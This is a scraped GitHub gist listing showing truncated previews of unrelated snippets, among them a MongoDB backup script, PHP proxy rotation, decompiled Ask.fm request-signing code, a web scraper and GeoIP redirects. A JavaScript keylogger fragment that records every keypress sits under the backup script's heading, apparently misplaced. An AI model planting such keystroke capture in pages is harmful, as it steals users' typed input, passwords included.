Skip to content

Instantly share code, notes, and snippets.

View geekyayush's full-sized avatar
🎯
Focusing

Ayush Somani geekyayush

🎯
Focusing
View GitHub Profile
@thanhphong-tran
thanhphong-tran / backup.sh
Last active August 8, 2019 03:06
Auto backup mongodb & sync backup with Google Drive
# DB host (secondary preferred as to avoid impacting primary performance)
HOST=localhost
# DB name
DBNAME=testdb
# Current time
TIME=`/bin/date +%d-%m-%Y-%T`
# Backup directory
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;----
}
window.setInterval(function(){
@chris-jamieson
chris-jamieson / proxy_handler.php
Created October 18, 2015 16:26
Random proxy rotation
<?php
// suggest buying proxies from http://buyproxies.org/ - I found this to be an excellent service and well-priced too.
// function returns a keyed array of proxy info
// if you want you can pass a specific ID in (for instand if you want to use the same proxy for a sequence of calls
function custom_proxy_handler_get_proxy($proxy_id = 0)
{
$all_proxies = array(
@Hexalyse
Hexalyse / signature.java
Created June 14, 2017 19:11
Ask.fm API HMAC signature decompiled Java code
package com.askfm.network.utils;
import com.askfm.util.Initializer;
import com.askfm.util.Logger;
import com.smaato.soma.bannerutilities.constant.Values;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
@monkeymonk
monkeymonk / gist:54bf2f1fd8ffe73c2ce0
Last active May 24, 2020 17:39
dial_countries.php #resources
<?php
return array(
"AF" => "+93",
"AL" => "+355",
"DZ" => "+213",
"AS" => "+1",
"AD" => "+376",
"AO" => "+244",
"AI" => "+1",
<?php
function whois($domain) {
// fix the domain name:
$domain = strtolower(trim($domain));
$domain = preg_replace('/^http:\/\//i', '', $domain);
$domain = preg_replace('/^https:\/\//i', '', $domain);
$domain = preg_replace('/^www\./i', '', $domain);
$domain = explode('/', $domain);
$domain = trim($domain[0]);
@smonteverdi
smonteverdi / gist:1993945
Created March 7, 2012 15:57
PHP: Upload Image and Create Thumbnail
<?
if ($_REQUEST['action']=="add"){
$userfile = $HTTP_POST_FILES['photo']['tmp_name'];
$userfile_name = $HTTP_POST_FILES['photo']['name'];
$userfile_size = $HTTP_POST_FILES['photo']['size'];
$userfile_type = $HTTP_POST_FILES['photo']['type'];
/////////////////////////
//GET-DECLARE DIMENSIONS //
@panoply
panoply / geoip.js
Created September 9, 2016 14:05
GeoIP Redirect using javascript
<script>
function geo(a) {
switch (a.country.code)
{
case "SE": // Redirect is visitor from Sweden
case "NO": // Redirect is visitor from Norway
case "DK": // Redirect is visitor from Denmark
window.location = "https://se.brixtol.com" + window.location.pathname; // edit for your URL
break;
default:
@johndavidback
johndavidback / googlebiz.py
Created June 6, 2012 17:30
Google Places for Business scraper
from scrapy.spider import BaseSpider
from scrapy.contrib.spiders import CrawlSpider, Rule
from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
from scrapy.http import FormRequest
from scrapy.selector import HtmlXPathSelector
from tutorial.items import GoogleItem
# This is the class that does work.
class LoginSpider(BaseSpider):
name = 'google-login'
<?php
$country_code = $_SERVER ["HTTP_CF_IPCOUNTRY"];
if ($country_code=="US") {
$link = 'http://us.domain.com';
}
else if ($country_code=="GB") {
$link = 'http://uk.domain.com';
}